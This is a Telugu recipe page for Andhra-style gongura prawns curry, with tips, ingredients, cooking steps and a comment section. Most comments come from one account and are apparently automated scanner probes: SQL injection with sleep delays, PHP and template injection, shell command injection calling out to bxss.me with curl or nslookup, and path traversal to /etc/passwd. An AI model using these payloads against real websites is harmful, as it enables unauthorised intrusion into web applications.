గోంగూర రొయ్యలు కర్రీ | ఆంధ్ర స్టైల్ గోంగూర పచ్చిరొయ్యలు కర్రీ

5.0 AVERAGE

ఆంధ్ర స్టైల్ గోంగూర రొయ్యలు కర్రీ రొయ్యలు మగ్గించి నూనెలో వేపిన గోంగూరలో కలిపి చేసే ఆంధ్రుల స్పెషల్ గోంగూర రొయ్యలు పుల్లగా కారంగా వేడి అన్నంతో ఎంతో రుచిగా ఉంటుంది.

తెలుగు వారు అందులోను గోదావరి జిల్లాల స్పెషల్ రెసిపీ ఈ గోంగూర రొయ్యలు. నేను రెస్టారెంట్స్ తీరులో గోంగూర రొయ్యలు చేస్తున్నాను. సాధారణంగా ఇళ్లలో చేసుకునే తీరు ఇంటికో తీరులో ఉంటుంది, కొందరు కొన్ని వేస్తే ఇంకొందరు ఇంకొన్ని వేయరు. నేను పూర్తిగా రెస్టారెంట్స్ లో అందరికి నచ్చే తీరులో చేస్తున్నాను.

ఈ రెసిపీ చాలా సింపుల్, చేసే ముందు కింద టిప్స్ని అర్ధం చేసుకుంటే ఏ కొలతకి చేసిన ఎప్పుడు చేసినా పర్ఫెక్ట్ గా చేయగలుగుతారు.

రెసిపీ ప్రింట్ చేయడానికి

టిప్స్

రొయ్యలు:

మీకు గోదావరి తీరు గోంగూర రొయ్యలు కావాలంటే అక్కడ దొరికే చిన్న రొయ్యలు వాడుకుంటే అసలైన రుచి. నాకు హైదరాబాద్లో గోదావరి రోయ్య్లు దొరకలేదు అందుకే నేను ఆన్లైన్లో దొరికే మీడియం సైజు రొయ్యలు వాడేశాను.

రోయ్యలు వేపే తీరు:

రోయ్యలు నూనెలో ఉప్పు పసుపు వేసి కేవలం రొయ్యల్లోనుంచి నీరు ఆవిరయ్యదాకా మాత్రమే వేపుకుని తీసుకుంటే సరిపోతుంది. మిగిలినది కూరలో మగ్గిపోతుంది. అలా కాక నూనెలోనే ఎర్రగా వేపితే రొయ్యలు కూరలో రబ్బరులా అయిపోతాయి.

గోంగూర:

•గోంగూర రొయ్యలకి గోంగూర రొయ్యలు సమానం కొలత అయితే బాగుంటుంది. •గోంగూర ఆకులు మాత్రమే ఒలిచి బాగా కడగాలి లేదంటే ఇసుక ఉంటుంది.

ఇంకొన్ని విషయాలు:

•గోంగూరకి కాస్త నూనె ఉండాలి అప్పుడే రుచి, లేదంటే జిగురుగా ఉంటుంది కూర. •ఇంకా పుల్లని గోంగూరాలి కాస్త ఉప్పు కారాలు మోతాదు ఎక్కువే, కాబట్టి రుచి చూసి వేసుకోండి.

గోంగూర రొయ్యలు కర్రీ | ఆంధ్ర స్టైల్ గోంగూర పచ్చిరొయ్యలు కర్రీ - రెసిపీ వీడియో

Andhra Style Gongura Prawns | sorrel leaves prawns curry | Gongura Prawns Curry

Bachelors Recipes | nonvegetarian

Prep Time 10 mins
Cook Time 25 mins
Total Time 35 mins
Servings 4

See this Recipe in English

కావాల్సిన పదార్ధాలు

రొయ్యలు వేపుకోడానికి:
250 gms రొయ్యలు
2 tbsp నూనె
¼ tsp పసుపు
ఉప్పు - కొద్దిగా
కూర కోసం:
4 tbsp నూనె
1 inch దాల్చిన చెక్క
4 లవంగాలు
4 యాలకులు
½ బిర్యానీ ఆకు
¼ tsp జీలకర్ర
3 sprigs కరివేపాకు
3 slit పచ్చిమిర్చి ((చీరుకున్నవి))
½ cup ఉల్లిపాయ తరుగు
ఉప్పు - రుచికి సరిపడా
½ tbsp అల్లం వెల్లులి పేస్ట్
½ cup టమాటో
¼ tsp పసుపు
1 ½ tsp కారం
1 tsp వేపిన ధనియాల పొడి
1 tsp వేపిన జీలకర్ర పొడి
4 tbsp నీళ్లు
250 gms గోంగూర ఆకులు
½ cup నీళ్లు
½ tbsp గరం మసాలా
1 tbsp పచ్చిమిర్చి తరుగు
2 sprigs కరివేపాకు

రెసిపీ ప్రింట్ చేయడానికి

విధానం

Hide Pictures

నూనె వేడి చేసి అందులో రొయ్యలు ఉప్పు పసుపు వేసి రొయ్యల్లోనుంచి నీరు ఆవిరయ్యేదాకా వేపి తీసి పక్కనుంచుకోండి.
కూర కోసం నూనె వేడి చేసి అందులో మసాలా దినుసులు జీలకర్ర కరివేపాకు పచ్చిమిర్చి వేసి వేపుకోండి.
వేగిన మసాలాల్లో ఉల్లిపాయ తరుగు ఉప్పు వేసి లేత బంగారు రంగు వచ్చేదాకా వేపుకోండి.
వేగిన ఉల్లిపాయల్లో అల్లం వెల్లులి ముద్ద వేసి వేపండి. అది వేగిన తరువాత టమాటో తరుగు వేసి మెత్తగా గుజ్జుగా అయ్యాయేదాకా వేపుకోండి.
ఆ తరువాత కారం పసుపు ధనియ జీలకర్ర పొడి నీరు వేసి మసాలాలూ మాడకుండా నూనె పైకి తేలేదాక వేపుకోవాలి.
గోంగూర ఆకులు వేసి మెత్తగా గుజ్జుగా అయ్యేదాకా వేపుకోండి. వేగిన గోంగూరలో రొయ్యలు నీరు వేసి కలిపి నూనె పైకి తేలేదాక వేపుకోవాలి.
నూనె పైకి తేలాక దింపే ముందు గరం మసాలా, పచ్చిమిర్చి తురుము, కరివేపాకు వేసి కలిపి దింపేసుకోండి.

98 comments

V

Vasudha
Recipe Rating:

I'm in love with this super yumm recipe! The only change I will make is to chop up the Gongura leaves, since here in the US, we get large leaves.

1 year ago Reply
P

Pkamal
Recipe Rating:

Igdam mast.sir

2 years ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  1????%2527%2522\'\"
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  @@g7xhD
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  1'"
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  1p1hmWFa5')) OR 715=(SELECT 715 FROM PG_SLEEP(15))--
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  1gO6LsHtq') OR 332=(SELECT 332 FROM PG_SLEEP(15))--
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  1RQo2ozB2' OR 339=(SELECT 339 FROM PG_SLEEP(15))--
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  1-1)) OR 317=(SELECT 317 FROM PG_SLEEP(15))--
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  1-1) OR 736=(SELECT 736 FROM PG_SLEEP(15))--
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  1-1 OR 509=(SELECT 509 FROM PG_SLEEP(15))--
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  1Gei7ZxF5'; waitfor delay '0:0:15' --
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  1-1 waitfor delay '0:0:15' --
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  1-1); waitfor delay '0:0:15' --
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  1-1; waitfor delay '0:0:15' --
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  1*if(now()=sysdate(),sleep(15),0)
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  1*1
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  1*1
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  1*1
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  -1 OR 2+952-952-1=0+0+0+1
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  -1 OR 3+952-952-1=0+0+0+1
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  1*1
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  1HmmhXyJn
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  [php]print(md5(31337));[/php]
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  {php}print(md5(31337));{/php}
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  '{${print(md5(31337))}}'
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  print(md5(31337));//
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  '.print(md5(31337)).'
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  ${@print(md5(31337))}
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  ${@print(md5(31337))}\
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  ";print(md5(31337));$a="
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  ';print(md5(31337));$a='
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  1'
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  dfb__${98991*97996}__::.x
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  dfb[[${98991*97996}]]xca
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  dfb{{98991*97996}}xca
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  1}}"}}'}}1%>"%>'%>
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  ;(nslookup -q=cname hitdogtjupyzecaefa.bxss.me||curl hitdogtjupyzecaefa.bxss.me)|(nslookup -q=cname hitdogtjupyzecaefa.bxss.me||curl hitdogtjupyzecaefa.bxss.me)&(nslookup -q=cname hitdogtjupyzecaefa.bxss.me||curl hitdogtjupyzecaefa.bxss.me)
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  `(nslookup -q=cname hitfsygwwlbved3748.bxss.me||curl hitfsygwwlbved3748.bxss.me)`
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  bfg9378＜s1﹥s2ʺs3ʹhjl9378
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  &(nslookup -q=cname hityofkfbgxjw27c19.bxss.me||curl hityofkfbgxjw27c19.bxss.me)&'\"`0&(nslookup -q=cname hityofkfbgxjw27c19.bxss.me||curl hityofkfbgxjw27c19.bxss.me)&`'
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  bfgx6530??z1??z2a?bcxhjl6530
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  |(nslookup -q=cname hithdqwdryqxs991a1.bxss.me||curl hithdqwdryqxs991a1.bxss.me)
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  (nslookup -q=cname hithifaevmvwf3f024.bxss.me||curl hithifaevmvwf3f024.bxss.me))
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  19434021
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  $(nslookup -q=cname hitldpabizvnn8bd60.bxss.me||curl hitldpabizvnn8bd60.bxss.me)
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  &nslookup -q=cname hitodehzavsbd5ebe7.bxss.me&'\"`0&nslookup -q=cname hitodehzavsbd5ebe7.bxss.me&`'
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  1|echo phmcty$()\ dewill\nz^xyu||a #' |echo phmcty$()\ dewill\nz^xyu||a #|" |echo phmcty$()\ dewill\nz^xyu||a #
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  '"()&%4gMY(9533)
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  |echo oysnjf$()\ fcehul\nz^xyu||a #' |echo oysnjf$()\ fcehul\nz^xyu||a #|" |echo oysnjf$()\ fcehul\nz^xyu||a #
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  1'"()&%4gMY(9735)
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  &echo htaeaq$()\ adacwp\nz^xyu||a #' &echo htaeaq$()\ adacwp\nz^xyu||a #|" &echo htaeaq$()\ adacwp\nz^xyu||a #
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  1&echo lcjleh$()\ cnokhb\nz^xyu||a #' &echo lcjleh$()\ cnokhb\nz^xyu||a #|" &echo lcjleh$()\ cnokhb\nz^xyu||a #
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  echo tonrid$()\ mltujj\nz^xyu||a #' &echo tonrid$()\ mltujj\nz^xyu||a #|" &echo tonrid$()\ mltujj\nz^xyu||a #
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  '"
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  '+'A'.concat(70-3).concat(22*4).concat(111).concat(81).concat(106).concat(74)+(require'socket' Socket.gethostbyname('hithz'+'yrafmula728c0.bxss.me.')[3].to_s)+'
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  'A'.concat(70-3).concat(22*4).concat(119).concat(88).concat(113).concat(79)+(require'socket' Socket.gethostbyname('hitzd'+'xcbttdlad1240.bxss.me.')[3].to_s)
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  1"||sleep(27*1000)*rhtmsp||"
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  "+"A".concat(70-3).concat(22*4).concat(102).concat(66).concat(109).concat(83)+(require"socket" Socket.gethostbyname("hiteu"+"eptjczveab947.bxss.me.")[3].to_s)+"
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  1'||sleep(27*1000)*ruzqzq||'
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  1"&&sleep(27*1000)*zseujv&&"
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  gethostbyname(lc('hitib'.'axwwenej02a80.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(109).chr(79).chr(120).chr(75)
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  1'&&sleep(27*1000)*xeiidq&&'
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  ".gethostbyname(lc("hittt"."myzmmwuj0702b.bxss.me."))."A".chr(67).chr(hex("58")).chr(113).chr(81).chr(101).chr(76)."
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  '"()
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  andhra-style-gongura-prawns-sorrel-leaves-prawns-curry-gongura-prawns-curry/.
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  '.gethostbyname(lc('hittx'.'qliyekzmb51ce.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(106).chr(81).chr(104).chr(90).'
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  andhra-style-gongura-prawns-sorrel-leaves-prawns-curry-gongura-prawns-curry
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  andhra-style-gongura-prawns-sorrel-leaves-prawns-curry-gongura-prawns-curry
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  bxss.me/t/xss.html?%00
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  HttP://bxss.me/t/xss.html?%00
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  ^(#$!@#$)(()))******
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  !(()&&!|*|*|
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  vismaifood.com
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  c:/windows/win.ini
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  https://vismaifood.com/
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  bxss.me
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  ../../../../../../../../../../../../../../etc/shells
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  /etc/shells
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  Http://bxss.me/t/fit.txt
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  http://bxss.me/t/fit.txt?.jpg
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  ${9999876+10000416}
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  12345'"\'\");|]*{ ?''💡
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  ./1
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  ../1
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  file:///etc/passwd
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  '+response.write(9347764*9157751)+'
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  "+response.write(9347764*9157751)+"
  
  1 year ago Reply
- M
  
  mulOMpUR
  Recipe Rating:
  
  response.write(9347764*9157751)
  
  1 year ago Reply

See this Recipe in English

గోంగూర రొయ్యలు కర్రీ | ఆంధ్ర స్టైల్ గోంగూర పచ్చిరొయ్యలు కర్రీ